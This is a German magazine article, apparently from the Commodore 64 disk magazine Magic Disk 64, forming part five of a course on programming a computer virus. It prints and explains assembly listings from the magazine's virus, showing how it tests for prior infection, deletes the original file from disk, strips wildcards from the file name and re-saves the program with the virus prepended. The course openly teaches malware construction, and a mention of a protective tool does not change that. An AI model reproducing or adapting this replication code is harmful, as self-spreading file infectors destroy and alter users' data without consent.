Magic Disk 64

home to index to text: MD8811-KURS-VIRENPROGRAMMIERKURS_TEIL_5-5.1.txt
                 Virenprogrammierkurs                
                 

Heute sind wir am fünften und somit vorletzten Teil des Virenkurses angelangt. An dieser Stelle halten wir es für nötig, Ihnen zu sagen, wie Sie sich gegen den Magic Disk Virus schützen können. Zahlreiche Anrufe haben uns seit der Erstveröffentlichung des Virus erreicht. Alle hatten die Frage zum Inhalt, wie man sich gegen den Virus schützen kann oder wie man eine infizierte Diskette wieder bereinigt.
Die Lösung dieses Problems heißt " Protector" und ist ein kleines Programm, daß Sie neben den Utilities und Games dieses mal auf der Magic Disk finden.
Eine Anleitung erübrigt sich, da das Programm über eine gut dokumentierte Tastensteuerung verfügt.
Starten Sie den Protector bitte aus dem Game-Menü oder " von Hand" durch:
LOAD" PROTECTOR",8 und anschließendem RUN. Jetzt aber zurück zum eigentlichen Kurs.
Heute, beim 5 . Teil des Virenkurses, wollen wir endlich das Thema Fortpflanzung abhaken. In den letzten Teilen hatten wir uns ja schon gründlich damit auseinandergesetzt. Fassen wir also zusammen:
Wir wissen nun, daß sich unser Virus beim SAVEn eines Programms vermehren kann. Dies tut er, indem er sich VOR ein zu infizierendes Programm hängt. Soweit - sogut.
Die Probleme, die auftreten, wenn er sich beim Laden vermehren soll, nämlich die Tatsache, daß der Filename mitgerettet werden muß, haben wir auch gemeistert. Wir haben nun beim Ladevorgang den Filenamen sicher in einem Speicher stehen, so daß wir nun fortfahren können mit dem Vorgang der Vermehrung beim Laden.
Wie gesagt haben wir den Filenamen gerettet. Wie haben natürlich auch geprüft, ob unser Programm an den Basicstart ($0801) geladen wird, damit wir keine Daten zerstören können. Auch dies war der Fall, das heißt, alle Voraussetzungen, das File nun endgültig infizieren zu dürfen, sind erfüllt - bis auf eine, die wir aber erst testen können, nachdem wir das entsprechende Programm geladen haben. Erfüllen wir Ihm endlich diesen Wunsch und springen einmal zur Laderoutine. Anschließend haben wir dann erst einmal unser zu infizierendes Programm im Speicher stehen.
Um dies etwas besser zu erläutern folgt zunächst erst einmal ein Auszug aus dem Sourcelisting:
1520- jsr $ f4 e5 ; Sprung zur Laderoutine 1530- bcc inftest ; wenn kein Fehler, dann weiter 1540- rts ; sonst Goodbye. . .
In Zeile 1520 sehen Sie den Sprung zur Laderoutine.
Wenn der Prozessor von dort zurückkehrt, haben wir das Programm im Speicher. Da es aber nun auch sein kann, daß während dem Ladevorgang ein Fehler aufgetreten ist und somit eine Infektion verheerende Folgen haben könnte ( Zerstörung von Daten!), müssen wir erst noch auf Fehler testen. Dies ist sehr einfach, da die Loadroutine im Carryflag die Information zurückgibt, ob beim Laden ein Fehler aufgetreten ist oder nicht. Bei einem Fehler ist dieses Flag gesetzt und das Virusprogramm wird abgebrochen. Ansonsten wird weiterverzweigt zur Routine INFTEST:

1610 - inftest   ldy #17      ;Pointer laden         
1620 - loop7     lda $0801,y  ;Vergleichsbyte laden  
1630 -           cmp data,y   ;und vergleichen       
1640 -           bne scratch  ;ungleich, dann  weiter
1650 -           dey          ;Zähler runterzählen   
1660 -           bpl loop7    ;und weiter            
1670 -           jmp ($a002)  ;infiziert - auf BASIC 

Wie der Name schon vermuten läßt, dient diese Routine dazu, zu testen, ob ein geladenes Programm schon infiziert ist. Dies geschieht, indem die Routine prüft, ob die ersten 18 Bytes des geladenen Programms mit den ersten 18 Bytes des Virus übereinstimmen.
Daß nur die ersten 18 Bytes getestet werden, hängt mit dem Protector zusammen. WIrd mit ihm ein File geschützt, so werden vor dieses File die ersten 18 Bytes des normalen Virusprogramms gehängt. Beim Laden glaubt der Virus nun, daß er schon ein infiziertes Programm vor sich hätte und überspringt hier die Infizierung.
Sollte eines der ersten 18 Bytes ungleich den ersten Virusbytes sein, so wird sofort zur nächsten Routine ( SCRATCH) verzweigt. Andernfalls wird auf die Routine in $ a002 verzweigt - das ist der normale Warmstart des Commodore-Basic.
Nun eine kleine Einsicht in die SCRATCH-Routine:

1700 -scratch  lda #01          ;Logische Filenummer 
1710 -         ldx #08          ;Devicenummer        
1720 -         ldy #15          ;Kanalnummer         
1730 -         jsr setpar       ;Parameter setzen    
1740 -         lda lengnam      ;Namenslänge laden   
1750 -         clc              ;und                 
1760 -         adc #02          ;2 addieren          
1770 -         ldx #<(namebuff) ;Buffer-LO laden     
1780 -         ldy #>(namebuff) ;Buffer-HI laden     
1790 -         jsr setnam       ;Name setzen         
1800 -         jsr open         ;File öffnen         
1810 -         lda #01          ;und File #1         
1820 -         jsr close        ;wieder schließen    

Diese Routine tut nichts anderes, als das File, daß unser Virus infizieren soll, von Diskette zu löschen, um das infizierte gleich danach wieder draufschreiben zu können. Dies funktioniert denkbar einfach: Wie wir ja wissen, würde in Basic die Befehlsfolge zum Löschen eines Files auf Diskette folgendermaßen aussehen:

OPEN 1,8,15,"S:FILENAME" : CLOSE 1                   

Und genau das tun wir auch in Assembler. Wir öffnen ein File mit den Parametern:

Logische Filenummer = 1                              
Geräteadresse       = 8                              
Kanalnummer         = 15 (=Befehlskanal)             

Wie diese Parameter dann übergeben werden, wissen wir auch schon, nämlich mit der SETPAR-Routine im ROM des C64 . Weiter geht es mit der Übergabe des Filenamens.
Hier ist allerdings zu beachten, daß zur Länge des Filenamens 2 addiert werden muß, da der Name aufgrund des vorangestellten " S:" um 2 Zeichen länger wird.
Dies geschieht in den Zeilen 1740 bis 1760 . Die Speichervariable LENGNAM kennen wir ja schon; wir hatten darin die Länge des Filenamens zwischengespeichert.
In den folgenden zwei Zeilen sehen Sie jetzt auch, warum wir beim Laden bei der Angabe des Filenamens NAMEBUFF+2 angeben mußten. Sehen Sie sich einmal folgende Zeilen an. Sie stehen ganz am Ende des Quellcodelistings:

10190 - namebuff   .tx "s:"                          
10200 - ende       .by 0                             

Wie man sieht, haben wir den Filenamen ab dem Label " ende" abgelegt, das heißt, wir haben den Filenamen direkt hinter den Text " S:" in den Speicher geschrieben. Dieser Text fängt genau beim Label NAMEBUFF an. Also steht nun im Speicher ab NAMEBUFF folgender Text:
S: FILENAME ( Filename steht für irgendeinen Namen) . . . womit wir auch schon den Namen hätten, mit dem das zu Scratch-File geöffnet werden muß. Nun haben wir nur noch ein LOund ein HI-Byte von NAMEBUFF zu laden und SETNAM aufzurufen, was in den Zeilen 1770 bis 1790 geschieht.
Als nächstes rufen wir die OPEN-Routine des Betriebssystems auf. Sie öffnet ein logisches File mit den durch SETPAR übergebenen Parametern und dem durch SETNAM festgelegten Namen. Anschließend wird gleich die CLOSE-Routine aufgerufen, die genauso funktioniert wie der Basic-Befehl CLOSE, nur daß hier die Filenummer ( in diesem Fall 1) im Akku übergeben werden muß ( siehe Zeile 1810) .
Das wäre geschafft. Das alte Programm ist gelöscht, womit wir wieder Platz haben, das neue ( infizierte) Programm abzuspeichern. Vorher müssen wir allerdings noch etwas berücksichtigen: Es könnte ja sein, daß der User, der sein Prorgramm laden wollte, den Joker "*" benutzt hat, um den Programmnamen abzukürzen. Um zum Beispiel " FILENAME" zu laden, hat er einfach nur LOAD" FIL*",8 eingegeben.
Wir wissen aber, daß man keinen Programmnamen, der einen "*"- oder " ?"- Joker enthält, beim SAVEn eines Programmes nicht verwenden darf. Die Floppy würde einen SYNTAX ERROR zurücksenden. Um diesen Effekt zu verhindern, dient die nun folgende Routine ( sie folgt direkt im Anschluß an die SCRATCH-Routine) :

1840 -         ldy lengnam      ;Länge als Zeiger    
1850 -         lda namebuff+1,y ;letztes Zeichen     
1860 -         cmp #"*"         ;vergleiche mit "*"  
1870 -         bne cont         ;ungleich            
1880 -         dey              ;Zeiger runterzählen 

In Zeile 1840 laden wir die Länge des Filenamens in das Y-Register. Wir benutzen es nun als Pointer und holen uns das letzte Byte aus dem Namenspuffer ( hier heißt es NAMEBUFF+1) . Dann wird mit dem Stern (*) verglichen. Ist das letzte Zeichen kein Stern, so wird weiterverzweigt zur Routine CONT. Andernfalls wird die Filenamenlänge im Y-Register um 1 heruntergezählt, um den Joker auszuschließen. Dann geht es ebenfalls weiter mit der Routine CONT.
Das zu infizierende Programm wird nun unter einem kürzeren Namen abgespeichert, in unserem Beispiel ist es der Name " FIL" . Das könnte einen User stutzig machen, doch ist es die einzige Möglichkeit, das File wiedererkennbar abzuspeichern.
Doch nun weiter mit CONT. Da wir nun alle einleitenden Schritte erledigt haben, können wir gleich beim SAVEn fortfahren. Dazu rufen wir einfach die Routine SAVE des Betriebssystems auf, welche ein Programm auf Diskette abspeichert. Das ist genau die Routine, die wir schon früher so modifiziert haben, daß sich unser Virus vor das abzuspeichernde Programm hängt. Wir rufen also ganz normal SAVE auf - der Virus übernimmt dann schon den Rest.
Hier wieder ein kleiner Auszug aus dem Source-Listing. Wie die SAVE-Routine funktioniert, haben wir ja im 2 . Teil des Kurses bereits ausführlich besprochen.

1920 -cont  tya                 ;Namenslänge in Akku 
1930 -      ldx #<(namebuff)+2  ;Namenspuffer LO     
1940 -      ldy #>(namebuff)+2  ;Namenspuffer HI     
1950 -      jsr setnam          ;Name setzen         
1951 -      ldx #08             ;Geräteadresse laden 
1952 -      jsr setpar          ;Parameter setzen    
1960 -      ldx #01             ;Startadresse LO und 
1970 -      ldy #08             ;HI laden            
1980 -      stx $c1             ;und                 
1990 -      sty $c2             ;abspeichern         
2000 -      ldx $ae             ;Endadresse LO und   
2005 -      ldy $af             :HI laden            
2010 -      jsr save            ;SAVE aufrufen       
2020 -      jmp saveerror       ;und weiter...       

Wie Sie sehen, ein ganz normaler Aufruf, so wie wir ihn auch in Teil 2 schon hatten. Nur am Schluß wird weiterverzweigt auf SAVEERROR; die letzte Routine, die wir heute besprechen wollen:

2211 -saveerror lda status       ;Status laden       
2212 -          bne shit         ;<>, dann Fehler    
2213 -          rts              ;nicht, dann fertig 
2214 -shit      lda #<(errortext);Text LO            
2215 -          lda #>(errortext);Text HI            
2217 -          jmp strout       ;und ausdrucken     

Diese Routine fragt das Statusbyte ab, das haargenau der Statusvariablen ST in Basic entspricht. Ist ein Fehler beim SAVEn aufgetreten, z. B. DISK FULL oder ähnliches, so ist hier irgendein Bit gesetzt. Ist das der Fall, so wird weiterverzweigt zum Label SHIT.
Dort wird dann - wieder mit einer Betriebssystemroutine, nämlich STROUT - ein Text ausgegeben. Der auszugebende Text steht in den Zeilen 10075 bis 10120 :

10075 -errortext .by 13                              
10080 -.tx "Der Magic Disk-Virus ist in diesem"      
10081 -.by 13                                        
10090 -.tx "C64!!! Daten wurden zerstört !"          
10091 -.by 13                                        
10100 -.tx "Bitte Programm auf einer anderen Disk"   
10101 -.by 13                                        
10110 -.tx "abspeichern !!!"                         
10120 -.by 13,14,0                                   

Der Bytewert 13 steht für Carriage Return, um den Text ein wenig zu formatieren. Die 14 am Ende schaltet auf Kleinschrift um. STROUT kehrt nach dem Ausdrucken dieses Textes zum normalen Basic zurück.
Damit wären wir am Ende des 5 . Teils angelangt. Im 6 .
und letzten Teil in der nächsten Ausgabe erfahren Sie noch etwas über die Initialisierungsroutine und das kleine Gag-Programm.

Valid HTML 4.0 Transitional Valid CSS!